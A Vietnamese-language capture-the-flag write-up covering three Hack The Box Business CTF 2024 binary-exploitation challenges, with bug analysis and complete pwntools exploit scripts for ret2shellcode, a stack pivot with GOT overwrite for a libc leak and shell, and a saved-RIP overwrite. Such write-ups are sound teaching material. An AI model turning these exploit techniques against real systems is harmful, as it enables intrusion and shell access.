# Hack The Box - Business CTF 2024 # Regularity * **check file + checksec + IDA** ![image](https://hackmd.io/_uploads/BJBObN37A.png) ![image](https://hackmd.io/_uploads/Hkx9-Nn7A.png) - **IDA** **`_start`** ![image](https://hackmd.io/_uploads/Hy_rZ43mR.png) **`read`** ![image](https://hackmd.io/_uploads/B1EMINnQC.png) * **BUG:** - lỗi buffer overflow: `read()` edx=0x110 trong khi chỉ set phần buffer nhập vào 0x100 byte - NX disable: cho phép thực thi shellcode -> ret2shellcode - Dừng ở ret ở hàm read(): ![image](https://hackmd.io/_uploads/Bykw_N270.png) ![image](https://hackmd.io/_uploads/SyQOuE270.png) * **Khai thác:** - Tận dụng lỗi bof để overwrite saved rip của read thành `call/jump` rsi. - Công cụ rop gadget: ![image](https://hackmd.io/_uploads/H1Wot42QR.png) * **Script:** ``` #!/usr/bin/env python3 from pwn import * def s(p,data): p.send(data) def sl(p,data): p.sendline(data) def sla(p,msg,data): p.sendlineafter(msg,data) def sa(p,msg,data): p.sendafter(msg,data) def rl(p): l=p.recvline() return l def ru(p,msg): l=p.recvuntil(msg) return l def r(p,size): l=p.recv(size) return l def intFromByte(p,size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output,16) return leak def GDB(p): gdb.attach(p,gdbscript=''' b*0x000000000040101e c ''') input() def main(): context.binary = exe = ELF("./regularity", checksec=False) # libc = ELF("./",checksec=False) # ld = ELF("./",checksec=False) p = process(exe.path) # p=remote('94.237.63.135',35980) GDB(p) shellcode = asm(shellcraft.sh()) shellcode =shellcode.ljust(256,b'\x00') +p64(0x0000000000401041) sla(p,b'these days?\n',shellcode) p.interactive() if __name__ == "__main__": main() # HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_e89a82a9a29cce817529e60b130d6587} ``` # no_gadget * **check file + checksec + IDA** ![image](https://hackmd.io/_uploads/BJBObN37A.png) ![image](https://hackmd.io/_uploads/rJJxs42XR.png) - **IDA** **`main`** ![image](https://hackmd.io/_uploads/SkvFiN270.png) * **BUG:** - lỗi **`buffer overflow`**: mảng **`buf[128]`** nhưng **`fgets()`** cho phép nhập `0x1337` byte. - **`main`** có check size bằng **`strlen()`** nhưng hàm này chỉ đếm byte trước byte `NULL` nên hoàn toàn có thể **`bypass`** chỗ này. * **Khai thác:** - Chương trình không có **`system`**, lại cho **`file libc:`** có thể là **`ret2libc`** và để sử kĩ thuật cần 2 cv - leak địa chỉ **`libc base`**. - thực thi hàm **`system`** trong libc. - Tận dụng lỗi **`BOF`** để overwrite **`saved rip`** của main() -> Kĩ thuật **`rop chain`** - Tuy nhiên, như tên thì challenge không có những gadget thường gặp như **`pop rdi`** để leak libc, hay lấy shell. - Nhưng chúng ta có **`pop rbp`**: ![image](https://hackmd.io/_uploads/rJ04p4h7A.png) -> Từ gadget này chúng ta có thể dùng kĩ thuật **`pivot`** + **`BOF`** để tiếp tục ghi vào **`1 vị trí khác`**. - Đọc mã ASM của main: ![image](https://hackmd.io/_uploads/H1CNlB2XA.png) -> Để **`leak libc`** chúng ta sẽ cần điều khiển được nội dung in ra nhưng ở đây challenge lại kiểm soát bằng **`rip`** chứ không phải **`rbp`**(mà rip thì no hope cmnr) - Tuy nhiên, chúng ta vẫn còn 1 chút niềm tin bám víu vào hàm **`fgets`** và **`strlen`** có kiểm soát đối số bằng **`rbp`** và điều tuyệt hơn là **`Relro:Partial`**(điều này có nghĩa là có thể overwrite **`GOT`**) - Vậy quyết định sẽ sử dụng **`strlen()`** để leak libc bằng cách overwrite GOT thành **`call puts`** - Ở đây chúng ta sẽ overwrite GOT của **`strlen()`** -> **`0x0000000000401251`** để khi call **`strlen()`** sẽ nhảy đến đó và cũng nhằm mục đích sử dụng lệnh call **`exit(`**) để loop vị trí call **`fgets`** từ đó đưa payload tiếp theo. - Tiếp theo, là sẽ **`pivot`** vào vị trí nào: Với mục tiệu overwrite **`GOT`** vì vậy chúng ta sẽ overwrite từ vị trí **`GOT`** của puts bởi vì địa chỉ libc của puts sẽ được đưa vào **`GOT puts`** khi puts được gọi và chúng ta có thể leak nó. - Cuối cùng overwrite **`GOT exit()`** -> **`0x000000000040121b`** (vị trị call fgets) ![image](https://hackmd.io/_uploads/r1JJLBnQA.png) => Vậy là leak được libc. - Sau khi có **`libc base`**, chương trình sẽ loop lại fgets , chúng ta sẽ overwrite got puts thành sring **`"/bin/sh"`** để làm đối số, còn GOT **`strlen()->system()`** * **Script:** ``` #!/usr/bin/env python3 from pwn import * def s(p,data): p.send(data) def sl(p,data): p.sendline(data) def sla(p,msg,data): p.sendlineafter(msg,data) def sa(p,msg,data): p.sendafter(msg,data) def rl(p): l=p.recvline() return l def ru(p,msg): l=p.recvuntil(msg) return l def r(p,size): l=p.recv(size) return l def intFromByte(p,size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output,16) return leak def GDB(p): gdb.attach(p,gdbscript=''' b*main+158 c ''') input() def main(): context.binary = exe = ELF("./no_gadgets",checksec=False) libc = ELF("./libc.so.6",checksec=False) ld = ELF("./ld-2.35.so",checksec=False) # p = process(exe.path) # GDB(p) p = remote('94.237.63.100',45155) ##################### change read-write location part 1 ################### rw=0x404000 gets=0x000000000040121b payload=b'\x00'*128+p64(rw+0x80)+p64(gets) sla(p,b'Data: ',payload) puts=0x0000000000401251 payload = p64(0x401036)+p64(puts)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets) sl(p,payload) ru(p,b'\x0a') leak = intFromByte(p,6) print("leak:",hex(leak)) libc.address=leak-(0x7f5c36480ed0-0x00007f5c36400000) print("libc:",hex(libc.address)) binsh='/bin/sh\x00'.encode() system =libc.address+0x0000000000050d60 payload = binsh+p64(system)+p64(0x401056)+p64(0x401066)+p64(0x401076)+p64(gets) sl(p,payload) p.interactive() if __name__ == "__main__": main() # HTB{wh0_n3eD5_rD1_wH3n_Y0u_h@v3_rBp!!!_9fa80d7e403478d67531cbbb8eab9925} ``` # abyss * **check file + checksec + IDA** ![image](https://hackmd.io/_uploads/S1CppdMVC.png) ![image](https://hackmd.io/_uploads/HJA1A_MV0.png) - **source code** * **BUG:** - Cách chương trình hoạt động: - Sau khi vào hàm **`cmd_login`**: **`read(buf,512)`** để nhập user, password với format sau: `USER [user muốn đăng nhập]` `PASS [password muốn đăng nhập]` -> Sau đó copy user,pass vào 2 chuỗi buffer **`user[]`**, **`pass[]`** - Sau đó cách hàm này copy chính là vấn đề lớn: ![image](https://hackmd.io/_uploads/ByxcGcfNC.png) ![image](https://hackmd.io/_uploads/B15nz5MN0.png) - Hàm này copy bằng cách: Copy toàn bộ chuỗi phía trước byte **`NULL`**, nhìn thoáng qua nó hoàn toàn ổn vì ban đầu đã đưa các byte trong buffer về NULL tuy nhiên lại cho phép người dùng nhập bằng hàm **`read()`** ( hàm này hoàn toàn không bắt buộc thêm NULL byte để kết thúc buffer ) và hoàn toàn **`pass[]`** có thể copy **`user[]`** => Lỗi **`out-of-bound`** + **`buffer overflow`** * **Khai thác:** - Tận dụng lỗi OOB để copy buffer thuộc user[] vào phần buffer nằm ngoài pass[] - Phần buffer bị OOB có chứa địa chỉ saved rip của cmd_login: overwrite saved rip - Hàm cmd_read: ![image](https://hackmd.io/_uploads/HyrSIqfNC.png) -> Cho phép đọc file có tên do người dùng nhập vào. * **Script:** ``` #!/usr/bin/env python3 from pwn import * def s(p,data): p.send(data) def sl(p,data): p.sendline(data) def sla(p,msg,data): p.sendlineafter(msg,data) def sa(p,msg,data): p.sendafter(msg,data) def rl(p): l=p.recvline() return l def ru(p,msg): l=p.recvuntil(msg) return l def r(p,size): l=p.recv(size) return l def intFromByte(p,size): o = p.recv(size)[::-1].hex() output = '0x' + o leak = int(output,16) return leak def GDB(p): gdb.attach(p,gdbscript=''' b*0x0000000000401331 b*0x00000000004013C1 b*0x00000000004013DA b*0x0000000000401462 c ''') input() def main(): context.binary = exe = ELF("./abyss", checksec=False) # libc = ELF("./",checksec=False) # ld = ELF("./",checksec=False) p = process(exe.path) # GDB(p) s(p,p32(0x00)) payload1=b"USER " + b"AAAAAAAAAAAAAAAAA\x1cAAAAAAAAAAA" + p32(0x00000000004014eb) s(p,payload1) payload2=b'PASS ' +b'a'*(512-5) s(p,payload2) s(p,b'flag.txt') p.interactive() if __name__ == "__main__": main() # HTB{sH0u1D_h4v3-NU11-t3rmIn4tEd_buf!} ```